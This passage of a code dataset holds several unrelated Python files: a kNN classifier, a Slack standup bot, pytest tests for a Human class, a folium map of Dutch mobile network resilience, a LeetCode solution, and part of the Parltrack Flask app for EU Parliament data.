range(l):\n # Bestimme die k_max nächsten Nachbarn\n for j in range(0, block_size):\n index_array[block_size * i + j, :] = nearest_points_opt_l1(D_i_array[i, j, :], D_strich_i_array[i, :, :], k_max) # sic\n list_ks = []\n toc = time.time()\n print(\"Nächste Nachbarn in train : %.10f seconds\" % (toc - tic))\n tic = time.time()\n new_array = np.zeros((l, block_size, k_max)) # Enthält Summen der Klassifikationen (ohne Signum) der n Punkte zu allen nächsten Nachbarn (bis k_max)\n for i in range(l):\n for j in range(block_size):\n new_array[i, j, :] = np.cumsum(D_strich_i_array[i, index_array[i * block_size + j, :], 0])\n# new_array[i, j, 0] = np.sum(D_strich_i_array[i, index_array[i * block_size + j, 0], 0])\n# for k in range(len(KSET) - 1):\n# new_array[i, j, k + 1] = new_array[i, j, k] + D_strich_i_array[i, index_array[i * block_size + j, k + 1], 0]\n temp1_array = np.sign(new_array)\n temp2_array = np.zeros((l, block_size, k_max))\n for i in range(l):\n for j in range(block_size):\n for k in range(len(KSET)):\n if temp1_array[i, j, k] == 0:\n temp1_array[i, j, k] = 1\n if D_i_array[i, j, 0] == temp1_array[i, j, k]:\n temp2_array[i, j, k] = 0\n else:\n temp2_array[i, j, k] = 1\n temp3_array = np.sum(temp2_array, 1) / block_size\n temp4_array = np.sum(temp3_array, 0) / l\n# print(temp4_array) \n toc = time.time()\n print(\"Bestimmung von k_stern : %.10f seconds\" % (toc - tic))\n k_stern = np.argmin(temp4_array)\n print(\"k_stern = \" + str(k_stern))\n print(\"Klassifikationsfehlerrate: \" + str(temp4_array[k_stern]))\n o = len(test)\n test_classification = np.zeros(o)\n test_index_array = np.zeros((l, o, k_stern), dtype=int)\n tic = time.time()\n for i in range(l):\n for j in range(o):\n test_index_array[i, j, :] = nearest_points_opt_l1(test[j, :], D_strich_i_array[i, :, :], k_stern)\n toc = time.time()\n print(\"Nächste Nachbarn von test : %.10f seconds\" % (toc - tic))\n tic = time.time()\n for j in range(o):\n temp1 = 0\n for i in range(l):\n temp2 = np.sign(np.sum(D_strich_i_array[i, test_index_array[i, j, :], 0]))\n temp1 += temp2\n if temp2 == 0:\n temp1 += 1\n test_classification[j] = np.sign(temp1) # Empirisch : Wird nicht Null, also keine weitere Abfrage nötig\n toc = time.time()\n print(\"Bestimmung der Klassifikation : %.10f seconds\" % (toc - tic))\n# print(test_classification)\n test[:, 0] = test_classification\n with open(file_name + \".result.csv\", 'w', newline='') as csvfile:\n writer = csv.writer(csvfile)\n writer.writerows(test)\n# print(test)\n return test\n","repo_name":"Darkst3ve/computerpraktikum_block3","sub_path":"classify.py","file_name":"classify.py","file_ext":"py","file_size_in_byte":4341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37521971201","text":"# Standup Bot by Christina Aiello, 2017-2020\nimport util\nimport os\nimport slack\nfrom logger import Logger\n\nif 'SLACK_BOT_TOKEN' in os.environ:\n SLACK_CLIENT = slack.WebClient(os.environ[\"SLACK_BOT_TOKEN\"], timeout=30)\nelse:\n SLACK_CLIENT = None\n\n# Will send @param message to @param channel_name\ndef send_standup_message(channel_name, message):\n event_type = \"SendStandupMessage\"\n if SLACK_CLIENT:\n response = SLACK_CLIENT.chat_postMessage(\n channel=str(channel_name),\n text= (\"Please reply here with your standup status!\" if (message == None) else message),\n username=\"Standup Bot\",\n icon_emoji=\":memo:\"\n )\n Logger.log(\"send_standup_message response code: \" + str(response.status_code), Logger.info, event_type)\n for item in response.data.items():\n Logger.log(\"send_standup_message response[\" + str(item[0]) + \"]: \" + str(item[1]), Logger.info, event_type)\n return response\n\n\n# Will send confirmation message to @param channel_name\ndef send_confirmation_message(channel_name, message):\n event_type = \"SendConfirmationMessage\"\n response = send_slack_message(channel_name, \"Please reply here with your standup status!\" if (message == None) else message)\n if response:\n Logger.log(\"send_confirmation_message response code: \" + str(response.status_code), Logger.info, event_type)\n for item in response.data.items():\n Logger.log(\"send_confirmation_message response[\" + str(item[0]) + \"]: \" + str(item[1]), Logger.info, event_type)\n return response.status_code\n else:\n return None\n\n# Sends given slack message to given slack channel\ndef send_slack_message(channel_name, message):\n if SLACK_CLIENT:\n response = SLACK_CLIENT.chat_postMessage(\n channel=str(channel_name),\n text= (message),\n username=\"Standup Bot\",\n icon_emoji=\":memo:\"\n )\n else:\n response = None\n return response\n\n# Will fetch the standup messages for a channel\n# @param timestamp : A channel's standup message's timestamp (acquired via API)\n# @return Standup messages in JSON format\n# TODO: Make sure this still works\ndef get_standup_replies_for_message(timestamp, channel_name):\n event_type = \"GetStandupReports\"\n if SLACK_CLIENT:\n channel_id = get_channel_id_via_name(channel_name)\n\n # https://api.slack.com/methods/conversations.history\n Logger.log(str({'channel': channel_id, 'latest': timestamp}), Logger.info, event_type)\n result = SLACK_CLIENT.conversations_replies(\n channel=channel_id,\n ts=timestamp,\n latest='now',\n inclusive=True,\n count=1\n )\n Logger.log(str(result), Logger.info, event_type)\n # Need to ensure that API call worked\n if (result[\"ok\"]):\n Logger.log(\"Successfully got standup replies for message\", Logger.info, event_type)\n # Only do the following if we actually got replies\n replies = result[\"messages\"]\n Logger.log(str(replies), Logger.info, event_type)\n if (replies is not None):\n standup_results = []\n for standup_status in replies:\n Logger.log(\"Raw reply is: \" + str(standup_status), Logger.info, event_type)\n if (\"subtype\" not in standup_status):\n # Get username of person who made this reply\n user_result = SLACK_CLIENT.users_info(user=standup_status['user'])\n name = user_result[\"user\"][\"profile\"][\"real_name\"]\n Logger.log(\"Adding standup results for \" + name, Logger.info, event_type)\n standup_response_for_person = name + \": \" + standup_status['text'] + \"\\n\\n\\n\"\n standup_results.append(standup_response_for_person)\n Logger.log(\"Final standup results: \" + str(standup_results), Logger.info, event_type)\n return standup_results\n else:\n Logger.log(\"We got back replies object but it was empty\", Logger.info, event_type)\n else:\n # Log that it didn't work\n Logger.log(\"Tried to retrieve standup results. Could not retrieve standup results for \" + channel_name + \" due to: \" + str(result.error), Logger.error, event_type)\n else:\n return None\n\n# Calls API to get channel ID based on name.\n# @param channel_name\n# @return channel ID\ndef get_channel_id_via_name(channel_name):\n event_type = \"GetChannelInfo\"\n if SLACK_CLIENT:\n channels_list = SLACK_CLIENT.conversations_list(types=\"public_channel\")\n Logger.log(\"get_channel_id_via_name \" + str(channels_list), Logger.info, event_type)\n for channel in channels_list[\"channels\"]:\n if channel[\"name\"] == channel_name:\n Logger.log(\"get_channel_id_via_name \" + str(channel[\"name\"]) + \" == \" + channel_name, Logger.info, event_type)\n return channel[\"id\"]\n else:\n return None\n\n# Get list of channel names\n# @return list of channel names\ndef get_all_channels():\n if SLACK_CLIENT:\n channels_list = SLACK_CLIENT.conversations_list(types=\"public_channel\")\n channel_names_list = []\n for channel in channels_list[\"channels\"]:\n channel_names_list.append(channel[\"name\"])\n Logger.log(\"Channel list is: \" + str(channel_names_list), Logger.info, \"GetChannelList\")\n else:\n channel_names_list = [\"Dummy Name 1\", \"Dummy Name 2\"]\n return channel_names_list","repo_name":"cjaiello/Slack-Standup-Report-Bot","sub_path":"slack_client.py","file_name":"slack_client.py","file_ext":"py","file_size_in_byte":5230,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"31372994177","text":"import pytest\nfrom lesson_17.Human.human import Human\n\n\n@pytest.mark.positive\ndef test_create_human(set_human_data):\n name, age, gender = set_human_data\n human = Human(name, age, gender)\n assert hasattr(human, '_Human__status')\n assert hasattr(human, '_Human__age_limit')\n\n\n@pytest.mark.positive\ndef test_change_gender(create_human_with_valid_age):\n # Change to a different gender\n new_gender = \"male\" if create_human_with_valid_age.gender == \"female\" else \"female\"\n create_human_with_valid_age.change_gender(new_gender)\n assert create_human_with_valid_age.gender == new_gender\n\n\n@pytest.mark.negative\ndef test_change_to_existed_gender(create_human_with_valid_age):\n # Try to change to the same gender\n new_gender = \"male\" if create_human_with_valid_age.gender == \"male\" else \"female\"\n with pytest.raises(Exception):\n create_human_with_valid_age.change_gender(new_gender)\n\n\n@pytest.mark.positive\ndef test_grow_human_below_limit(set_human_age_boundary_values):\n name, age, gender = set_human_age_boundary_values\n human = Human(name, age, gender)\n initial_age = human.age\n human.grow()\n assert human.age == initial_age + 1\n assert human._Human__status == \"alive\" # below age limit\n\n\n@pytest.mark.negative\ndef test_grow_human_above_limit(create_human_with_invalid_age):\n assert create_human_with_invalid_age.age == 100\n create_human_with_invalid_age.grow() # above age limit\n assert create_human_with_invalid_age._Human__status == \"dead\"\n\n\n@pytest.mark.negative\ndef test_grow_human_equal_to_limit():\n human = Human('Test', 99, 'male')\n human.grow()\n assert human.age == 100\n assert human._Human__status == \"dead\" # age is same as age limit\n\n\n@pytest.mark.negative\ndef test_grow_human_age_below_zero():\n human = Human('Test', -1, 'male')\n with pytest.raises(Exception):\n human.grow()\n\n\n@pytest.mark.positive\ndef test_human_is_alive(create_human_with_valid_age):\n assert create_human_with_valid_age._Human__is_alive() is True\n\n\n@pytest.mark.negative\ndef test_create_human_invalid_age(create_human_with_invalid_age):\n # Check that age affects whether human is created, alive or not\n assert create_human_with_invalid_age._Human__status is 'dead'\n\n\n@pytest.mark.parametrize(\"name,age,gender\", [('Ann', 0, \"female\"), ('Bob', -1, \"male\")])\n@pytest.mark.negative\ndef test_create_human_invalid_age_value(name, age, gender):\n with pytest.raises(Exception):\n Human(name, age, gender)\n\n\n@pytest.mark.parametrize(\"name,age,gender\", [(123, 25, \"female\"), ('Bob', \"13\", \"male\")])\n@pytest.mark.negative\ndef test_create_human_invalid_attribute_type(name, age, gender):\n with pytest.raises(TypeError):\n Human(name, age, gender)\n\n\n@pytest.mark.parametrize('gender', [12, 'MALE', 'transgender'])\n@pytest.mark.negative\ndef test_change_gender_invalid_attributes(gender):\n with pytest.raises(Exception) as info_message:\n human = Human(\"Io\", 20, \"male\")\n human.change_gender(gender)\n assert str(info_message.value) == \"Not correct name of gender\"\n\n\n@pytest.mark.negative\ndef test_dead_human_change_gender():\n with pytest.raises(Exception):\n human = Human('Test', 99, \"female\")\n human.grow()\n human.change_gender('male')\n","repo_name":"DergachovaAnna/python_autotests_hillel","sub_path":"lesson_17/tests/test_human.py","file_name":"test_human.py","file_ext":"py","file_size_in_byte":3261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"9033383541","text":"import pickle\n\nimport branca\nimport folium\nimport geopandas as gpd\nimport numpy as np\nimport pyproj\nimport shapely.ops\nfrom folium.plugins import BeautifyIcon\n\n\ndef find_savename(province, fsp_or_fdp, show_BS):\n if show_BS:\n filename = f'{province}zipcodes_{fsp_or_fdp}BSs'\n else:\n filename = f'{province}zipcodes_{fsp_or_fdp}'\n\n if disaster:\n filename += 'correlated_failure' + str(radius_disaster)\n elif user_increase:\n filename += 'user_increase' + str(percentage_increase)\n elif random_failure:\n filename += 'isolated_failure' + str(random_p)\n return filename\n\n\ndef find_icon(shape, color):\n if shape == 'square':\n return BeautifyIcon(\n icon_shape='rectangle-dot',\n border_color=color,\n border_width=5,\n )\n elif shape == 'circle':\n return BeautifyIcon(\n icon_shape='circle-dot',\n border_color=color,\n border_width=5,\n )\n elif shape == 'star':\n return BeautifyIcon(\n icon='star',\n inner_icon_style=f'color:{color};font-size:5;',\n background_color='transparent',\n border_color='transparent',\n )\n else:\n return print('error')\n\n\ndisaster = False\nuser_increase = False\nrandom_failure = True\n\nradius_disaster = 1000 # 500, 1000, 2500\npercentage_increase = 50 # 50, 100, 200\nrandom_p = 0.5 # 0.05, 0.1, 0.25, 0.5\n\n\ndef find_name(province):\n filename = str(province)\n if disaster and radius_disaster > 0:\n filename += 'disaster' + str(radius_disaster)\n elif user_increase and percentage_increase > 0:\n filename += 'user_increase' + str(percentage_increase)\n elif random_failure and random_p > 0:\n filename += 'random' + str(random_p)\n return filename\n\n\ntransformer = pyproj.Transformer.from_proj(pyproj.Proj(init=\"epsg:28992\"), pyproj.Proj(init=\"epsg:4326\"))\n\nstyle_function = lambda x: {'fillColor': '#ffffff',\n 'color': '#000000',\n 'fillOpacity': 0.1,\n 'weight': 0.1}\n\n\ndef find_municipalities(province):\n with open(\"raw_data/cities_per_province\") as f:\n data = f.read()\n data = data.split('\\n')\n if province == 'Netherlands':\n print(province)\n cities = []\n for line in data:\n line = line.split(':')\n for city in line[1].split(','):\n cities.append(city)\n return cities\n else:\n for line in data:\n line = line.split(':')\n if line[0] == province:\n return line[1].split(',')\n\n\nprovinces = ['Drenthe', 'Flevoland', 'Friesland', 'Groningen', 'Limburg', 'Overijssel', 'Utrecht', 'Zeeland',\n 'Zuid-Holland', 'Gelderland', 'Noord-Brabant', 'Noord-Holland']\n# provinces = ['Drenthe', 'Flevoland', 'Friesland', 'Limburg', 'Overijssel', 'Utrecht', 'Zeeland',\n# 'Zuid-Holland', 'Gelderland', 'Noord-Brabant', 'Groningen']\n# provinces = ['Drenthe']\n\n# os.chdir(r'/home/lotte/PycharmProjects/Disaster Resilience - interface')\nshow_BS = False\n\nfor fsp_or_fdp in ['FSP', 'FDP']:\n for show_BS in [False]:\n for province in provinces:\n region = pickle.load(open(f'raw_data/Regions/{province}region.p', 'rb'))\n centre = gpd.GeoSeries(region).centroid\n y, x = transformer.transform(centre.x, centre.y)\n center = (x[0], y[0])\n # initialize the map\n Netherlands = [52.23212312992836, 5.409836285734089]\n m = folium.Map(location=(x[0], y[0]), zoom_start=10, tiles=None, prefer_canvas=True) # , crs=\"EPSG:4326\")\n base_m = folium.FeatureGroup(name='BaseMap', overlay=True, control=False)\n folium.TileLayer(tiles='OpenStreetMap').add_to(base_m)\n base_m.add_to(m)\n\n df = gpd.read_file('raw_data/zip_codes.shp')\n\n # Make group and subgroups\n fg_kpn = folium.FeatureGroup(name='MNO 1', overlay=False)\n m.add_child(fg_kpn)\n\n fg_tmobile = folium.FeatureGroup(name='MNO 2', overlay=False)\n m.add_child(fg_tmobile)\n\n fg_vodafone = folium.FeatureGroup(name='MNO 3', overlay=False)\n m.add_child(fg_vodafone)\n\n fg_allMNO = folium.FeatureGroup(name='National roaming', overlay=False)\n m.add_child(fg_allMNO)\n\n # load measures\n filename = find_name(province)\n print(filename)\n tmobile_measures = gpd.read_file(f\"converted_data/Measures/{filename}T-Mobile_zipcodes.shp\")\n kpn_measures = gpd.read_file(f\"converted_data/Measures/{filename}KPN_zipcodes.shp\")\n vodafone_measures = gpd.read_file(f\"converted_data/Measures/{filename}Vodafone_zipcodes.shp\")\n allMNO_measures = gpd.read_file(f\"converted_data/Measures/{filename}all_MNOs_zipcodes.shp\")\n all_measures = [tmobile_measures, kpn_measures, vodafone_measures, allMNO_measures]\n feature_groups = [fg_tmobile, fg_kpn, fg_vodafone, fg_allMNO]\n providers = ['T-Mobile', 'KPN', 'Vodafone', 'National roaming']\n\n if fsp_or_fdp == 'FDP':\n minimum = 0\n maximum = 0\n for measure in all_measures:\n if max(measure[fsp_or_fdp].astype('float')) > maximum:\n maximum = max(measure[fsp_or_fdp].astype('float'))\n colormap = 'GnBu'\n threshold_scale = np.arange(0, maximum + 1e-6 + (maximum + 2e-6) / 8, (maximum + 1e-6) / 8)\n\n else:\n maximum = 1\n minimum = 1\n for measure in all_measures:\n if min(measure[fsp_or_fdp].astype('float')) < minimum:\n minimum = min(measure[fsp_or_fdp].astype('float')) - 0.1\n threshold_scale = np.arange(minimum - 1e-6, 1 + (1 - minimum + 2e-6) / 8, (1 - minimum + 1e-6) / 8)\n colormap = 'BuGn'\n\n\n # minimum, maximum = -0.01, 1.1\n for measures, fg, provider in zip(all_measures, feature_groups, providers):\n\n if show_BS:\n # plot Base Stations\n tmobile_bs = pickle.load(open(f\"converted_data/BSs/{province}T-Mobile_BSs\", \"rb\"))\n kpn_bs = pickle.load(open(f\"converted_data/BSs/{province}KPN_BSs\", \"rb\"))\n vodafone_bs = pickle.load(open(f\"converted_data/BSs/{province}Vodafone_BSs\", \"rb\"))\n allMNO_bs = pickle.load(open(f\"converted_data/BSs/{province}all_MNOs_BSs\", \"rb\"))\n\n markers = {'LTE': 'circle', '5G NR': 'square', 'UMTS': 'star'}\n\n for i in range(0, len(tmobile_bs)):\n y, x, radio = tmobile_bs.get('x')[i], tmobile_bs.get('y')[i], tmobile_bs.get('radio')[i]\n folium.Marker([x, y], tooltip=tmobile_bs.get('radio')[i],\n icon=find_icon(markers[radio], 'green')).add_to(fg_tmobile)\n folium.Marker([x, y], tooltip=str('MNO-1, ' + tmobile_bs.get('radio')[i]),\n icon=find_icon(markers[radio], 'green')).add_to(fg_allMNO)\n\n for i in range(0, len(kpn_bs)):\n y, x, radio = kpn_bs.get('x')[i], kpn_bs.get('y')[i], kpn_bs.get('radio')[i]\n folium.Marker([x, y], tooltip=kpn_bs.get('radio')[i],\n icon=find_icon(markers[radio], 'red')).add_to(fg_kpn)\n folium.Marker([x, y], tooltip=str('MNO-2, ' + kpn_bs.get('radio')[i]),\n icon=find_icon(markers[radio], 'red')).add_to(fg_allMNO)\n\n for i in range(0, len(vodafone_bs)):\n y, x, radio = vodafone_bs.get('x')[i], vodafone_bs.get('y')[i], vodafone_bs.get('radio')[i]\n folium.Marker([x, y], tooltip=vodafone_bs.get('radio')[i],\n icon=find_icon(markers[radio], 'blue')).add_to(fg_vodafone)\n folium.Marker([x, y], tooltip=str('MNO-3, ' + vodafone_bs.get('radio')[i]),\n icon=find_icon(markers[radio], 'blue')).add_to(fg_allMNO)\n\n measures.insert(0, 'ID', range(0, len(measures)))\n measures['ID'] = measures['ID'].astype('str')\n measures['FSP'] = measures['FSP'].astype('float')\n measures['FDP'] = measures['FDP'].astype('float')\n\n measures.crs = \"EPSG:4326\"\n for i, row in measures.iterrows():\n if str(row[fsp_or_fdp]) == \"nan\":\n measures = measures.drop(index=i, axis=0)\n chloropleth = folium.Choropleth(\n geo_data=measures,\n name='Choropleth',\n data=measures,\n columns=['ID', fsp_or_fdp],\n key_on='feature.properties.ID',\n fill_color=colormap,\n fill_opacity=0.5,\n line_opacity=1,\n legend_name=fsp_or_fdp,\n highlight=True,\n bins=threshold_scale\n ).geojson.add_to(fg)\n\n folium.features.GeoJson(\n data=measures,\n name=provider,\n smooth_factor=2,\n style_function=style_function,\n tooltip=folium.features.GeoJsonTooltip(\n fields=['area', fsp_or_fdp],\n aliases=['Zip code: ', fsp_or_fdp + ': '],\n localize=True,\n sticky=False,\n labels=True,\n style=\"\"\"\n background-color: #F0EFEF;\n border: 2px solid black;\n border-radius: 3px;\n box-shadow: 3px;\n \"\"\",\n max_width=800, ),\n highlight_function=lambda x: {'weight': 3, 'fillColor': 'grey'},\n ).add_to(chloropleth)\n\n if disaster:\n folium.Circle(location=center, color='red', fill = True, opacity = 0.5, fill_opacity = 0.3, radius=radius_disaster).add_to(m)\n\n if fsp_or_fdp == 'FSP':\n colormap = branca.colormap.linear.BuGn_03.scale(0, 1)\n else:\n colormap = branca.colormap.linear.GnBu_03.scale(0, 1)\n\n colormap = colormap.to_step(index=threshold_scale)\n colormap.caption = fsp_or_fdp\n colormap.add_to(m)\n\n filename = find_savename(province, fsp_or_fdp, show_BS)\n\n folium.LayerControl(collapsed=False).add_to(m)\n\n m.save(f'html/{filename}.html')\n","repo_name":"lweedage/resilience-interface.github.io","sub_path":"data/make_html_zipcodes.py","file_name":"make_html_zipcodes.py","file_ext":"py","file_size_in_byte":10922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"5940015359","text":"class Solution:\n def runningSum(nums):\n answer =[]\n\n for i in nums:\n if len(answer) == 0:\n answer.append(i)\n else:\n answer.append(answer[-1]+i)\n\n return answer\n\n\nprint(Solution.runningSum([1,2,3,4]))","repo_name":"Jeonghoon2/Coding-once-a-day","sub_path":"파이썬 (Python)/leetCode/Easy/1480_Running Sum of 1d Array.py","file_name":"1480_Running Sum of 1d Array.py","file_ext":"py","file_size_in_byte":275,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11224614502","text":"#----------------------------------------------------------------------------#\n# Imports\n#----------------------------------------------------------------------------#\n\nimport logging\nimport os\n\nimport config\nimport notification_model as notif\n\nimport diff_match_patch\n\nfrom math import ceil, floor\nfrom datetime import datetime, date\nfrom flask import Flask, render_template, request, redirect\nfrom flask.json import jsonify\nfrom flask_mail import Message, Mail\nfrom flask_caching import Cache\nfrom hashlib import sha1\ntry:\n from jinja2 import escape\nexcept:\n from markupsafe import escape\nfrom logging import Formatter, FileHandler\nfrom pprint import pprint\nfrom random import shuffle, randrange, randint, choice\nfrom sys import version_info\nfrom urllib.parse import unquote\nfrom utils.utils import asDate, clean_lb, jdump, file_size, format_dict\nfrom utils.devents import merge_events\nfrom utils.objchanges import getitem, revert\nfrom utils.mappings import (\n SEIRTNUOC as COUNTRIES,\n COUNTRIES as COUNTRY_ABBRS,\n SPLIT_DOSSIERS as v1dossiers,\n COMMITTEE_MAP,\n GROUPIDS,\n ACTIVITY_MAP,\n stage2percent,\n)\n\nfrom db import Client\n\ndb = Client()\n\nif version_info[0] == 3:\n unicode = str\n\nep_wtf_dossiers = {\n '2012/2039(INI)': \"This dossier is a true EPWTF and you need to consider it together with <a href='/dossier/2012/2039(INL)'>2012/2039(INL)</a>\",\n '2012/2039(INL)': \"This dossier is a true EPWTF and you need to consider it together with <a href='/dossier/2012/2039(INI)'>2012/2039(INI)</a>\"\n}\n\nmepnames = db.names_by_mepids(db.keys('ep_meps', None))\ndossier_titles = db.dossier_titles()\n\ndef highlight(q, s):\n s = str(escape(s))\n q = set(q.lower().split())\n for w in set(s.split()):\n if w.lower() in q:\n s = s.replace(w, '<span class=\"highlight\">'+w+'</span>')\n return s\n\n#----------------------------------------------------------------------------#\n# App Config.\n#----------------------------------------------------------------------------#\n\napp = Flask(__name__)\napp.config.from_object('config')\nmail = Mail()\nmail.init_app(app)\ncache = Cache()\ncache.init_app(app, config={'CACHE_TYPE': 'filesystem', \"CACHE_DIR\": \"/data/cache/flask/\"})\n\n\ndef get_changes(obj, path):\n ret = []\n for date, changelog in obj['changes'].items():\n for c in changelog:\n if c['path'][:len(path)] == path:\n ret.append({'date': date, 'type': c['type'], 'data': c['data']})\n return getitem(obj, path), ret\n\n\ndef render(template, **kwargs):\n if request.args.get('format') == 'json':\n if 'exclude_from_json' in kwargs:\n for v in set(kwargs['exclude_from_json']):\n del(kwargs[v])\n del(kwargs['exclude_from_json'])\n return jsonify(kwargs)\n if request.args.get('q'):\n kwargs['q'] = request.args['q']\n if request.args.get('party'):\n display_mode = request.args['party']\n else:\n display_mode = ''\n kwargs['highlight'] = highlight\n kwargs['display_mode'] = display_mode\n kwargs['committee_map'] = COMMITTEE_MAP\n kwargs['today'] = date.today().strftime(\"%Y-%m-%d\")\n kwargs['countries'] = COUNTRIES\n kwargs['country_abbrs'] = COUNTRY_ABBRS\n kwargs['get_changes'] = get_changes\n kwargs['dossier_titles'] = dossier_titles\n return render_template(template, **kwargs)\n\n\n#----------------------------------------------------------------------------#\n# Controllers.\n#----------------------------------------------------------------------------#\n\n\n@app.route('/')\ndef home():\n date = getDate()\n meps = db.count('ep_meps', None) or 0\n dossiers = db.count('ep_dossiers', None) or 0\n active_meps = db.count('meps_by_activity', \"active\") or 0\n votes = db.count('ep_votes', None) or 0\n amendments = db.count('ep_amendments', None) or 0\n return render(\n 'index.html',\n mep_count=\"{:,}\".format(meps),\n dossier_count=\"{:,}\".format(dossiers),\n active_mep_count=\"{:,}\".format(active_meps),\n votes=\"{:,}\".format(votes),\n amendments=\"{:,}\".format(amendments),\n )\n\n\n@app.route('/about')\ndef about():\n return render('about.html')\n\n\n@app.route('/dumps')\ndef dumps():\n TABLE_NAMES=['ep_amendments', 'ep_comagendas', 'ep_dossiers', 'ep_mep_activities', 'ep_meps', 'ep_votes']\n arch = {}\n for file in sorted(os.listdir('/var/www/parltrack/dumps/arch'), reverse=True):\n table,rest = file.split('-',1)\n _date,_ = rest.split('.',1)\n if not table in arch: arch[table]=[]\n arch[table].append((file,_date))\n stats = {}\n for table in TABLE_NAMES:\n try:\n s = os.stat(\"/var/www/parltrack/dumps/%s.json.lz\" % table)\n except:\n continue\n stats[table]={\n 'size': file_size(s.st_size),\n 'updated': date.fromtimestamp(s.st_mtime).isoformat()\n }\n arch[table]=arch[table][:3]\n first=True\n for file in sorted(os.listdir('/var/www/parltrack/logs'), reverse=True):\n if not file.endswith(\".log.lz\"): continue\n s = os.stat(\"/var/www/parltrack/logs/%s\" % file)\n if first:\n stats['scraper_logs']={\n 'size': file_size(s.st_size),\n 'updated': date.fromtimestamp(s.st_mtime).isoformat()\n }\n first=False\n continue\n if not 'scraper_logs' in arch: arch['scraper_logs']=[]\n if len(arch['scraper_logs'])>2: break\n arch['scraper_logs'].append((file, date.fromtimestamp(s.st_mtime).isoformat()))\n return render('dumps.html', stats=stats, arch=arch)\n\n\n@app.route('/log/<string:ldate>')\n@app.route('/log')\ndef logs(ldate=None):\n if not ldate:\n ldate=date.today().strftime(\"%Y-%m-%d\")\n lf = {f for f in os.listdir(\"/var/www/parltrack/logs\") if f.endswith('.html')}\n if ('%s.html' % ldate) not in lf:\n print(ldate, lf)\n return render('errors/404.html'), 404\n with open('/var/www/parltrack/logs/%s.html' % ldate, 'r', encoding=\"utf-8\") as f:\n log = f.read()\n return render('log_summary.html', date=ldate, log=log)\n\ngroup_positions={u'Chair': 10,\n u'Treasurer/Vice-Chair/Member of the Bureau': 10,\n u'Co-President': 9,\n u'Co-Chair': 8,\n u'First Vice-Chair/Member of the Bureau': 8,\n u'First Vice-Chair': 8,\n u'Vice-Chair': 6,\n u\"Vice-President\": 6,\n u'Deputy Chair': 5,\n u'Chair of the Bureau': 4,\n u'Vice-Chair/Member of the Bureau': 8,\n u'Secretary to the Bureau': 4,\n u'Member of the Bureau': 2,\n u'Treasurer': 2,\n u'Co-treasurer': 1,\n u'Deputy Treasurer': 1,\n u'Member': 0,\n u'Observer': 0,\n u'': 0,\n }\ncom_positions={\"Chair\": 4,\n \"Vice-President\": 3,\n \"Vice-Chair\": 3,\n \"Member\": 2,\n \"Substitute\": 1,\n 'Observer': 0,\n 'Substitute observer': 0,\n }\nstaff_positions={\"President\": 7,\n \"Chair\": 6,\n \"Vice-President\": 6,\n \"Quaestor\": 5,\n \"Member\": 4,\n 'Observer': 0,\n }\n\n@app.route('/meps/<string:filter1>/<string:filter2>')\n@app.route('/meps/<string:filter1>')\n@app.route('/meps')\ndef meps(filter1=None, filter2=None):\n # nice to have extra feature: date handling - show meps on any given date - use db:matchinterval iterating over meps\n group_filter = None\n country_filter = None\n active = False if request.args.get('inactive') else True\n #print(repr(filter1),repr(filter2))\n #print(repr(GROUPIDS))\n if filter1 is not None:\n filter1 = filter1.replace(\"|\",\"/\")\n if filter1 in GROUPIDS:\n group_filter = filter1\n elif filter1 in COUNTRY_ABBRS:\n country_filter = filter1\n else:\n return render('errors/404.html'), 404\n if filter2 is not None:\n filter2 = filter2.replace(\"|\",\"/\")\n if country_filter is None and filter2 in COUNTRY_ABBRS:\n country_filter = filter2\n elif group_filter is None and filter2 in GROUPIDS:\n group_filter = filter2\n else:\n return render('errors/404.html'), 404\n date = asdate(datetime.now())\n meps = db.meps_by_activity(active)\n rankedMeps=[]\n for mep in meps:\n score=-1\n ranks=[]\n if country_filter is not None:\n from_country = False\n for c in mep.get('Constituencies',[]):\n if not 'end' in c or (c['start']<=date and c['end']>=date):\n if country_filter and c.get('country')!= COUNTRY_ABBRS[country_filter]: continue\n from_country = True\n break\n if not from_country: continue\n in_group=False\n # get group rank\n for group in mep.get('Groups',[]):\n if not 'end' in group or (group['start']<=date and group['end']>=date):\n if group_filter and group.get('groupid')!= group_filter: continue\n if not 'role' in group:\n group['role']='Member'\n score=group_positions.get(group['role'], 1)\n if not 'groupid' in group:\n group['groupid']=group['Organization']\n elif type(group.get('groupid'))==list:\n group['groupid']=group['groupid'][0]\n ranks.append((group_positions[group['role']],group['role'],group.get('groupid',group['Organization'])))\n mep['Groups']=[group]\n in_group = True\n break\n if group_filter and not in_group: continue\n # get committee ranks\n tmp=[]\n for com in mep.get('Committees',[]):\n if not 'end' in com or (com['start']<=date and com['end']>=date):\n score+=com_positions[com['role']]\n ranks.append((com_positions[com['role']],com['role'],com['Organization']))\n tmp.append(com)\n mep['Committees']=tmp\n # get ep staff ranks\n tmp=[]\n for staff in mep.get('Staff',[]):\n if not 'end' in staff or (staff['start']<=date and staff['end']>=date):\n score+=staff_positions[staff['role']]\n ranks.append((staff_positions[staff['role']],staff['role'],staff['Organization']))\n tmp.append(staff)\n if len(tmp):\n mep['Staff']=tmp\n rankedMeps.append((score,sorted(ranks, reverse=True),mep))\n return render('meps.html',\n date=date,\n groupids=GROUPIDS,\n group=group_filter,\n country=country_filter,\n meps=[x for x in sorted(rankedMeps,key=lambda x: x[0], reverse=True)])\n\n\n@app.route('/mep/<int:mep_id>/<string:mep_name>')\n@cache.cached(timeout=1*60*60, query_string=True)\ndef mep(mep_id, mep_name):\n mep = db.mep(mep_id)\n if not mep:\n return not_found_error(None)\n mep, changes, date, failed = timetravel(mep)\n amendments = db.get(\"ams_by_mep\", mep_id) or []\n activities = db.activities(mep_id) or {}\n acts = {'types':{}, 'dossiers':{}}\n if len(amendments):\n acts['types']['amendments'] = len(amendments)\n for a in amendments:\n if not a['reference'] in acts['dossiers']:\n acts['dossiers'][a['reference']] = 1\n else:\n acts['dossiers'][a['reference']] += 1\n\n for a,v in activities.items():\n if a in ('meta', 'changes') or not isinstance(v, list):\n continue\n acts['types'][a] = len(v)\n for e in v:\n if not 'dossiers' in e:\n continue\n for d in e['dossiers']:\n if not d in acts['dossiers']:\n acts['dossiers'][d] = 0\n 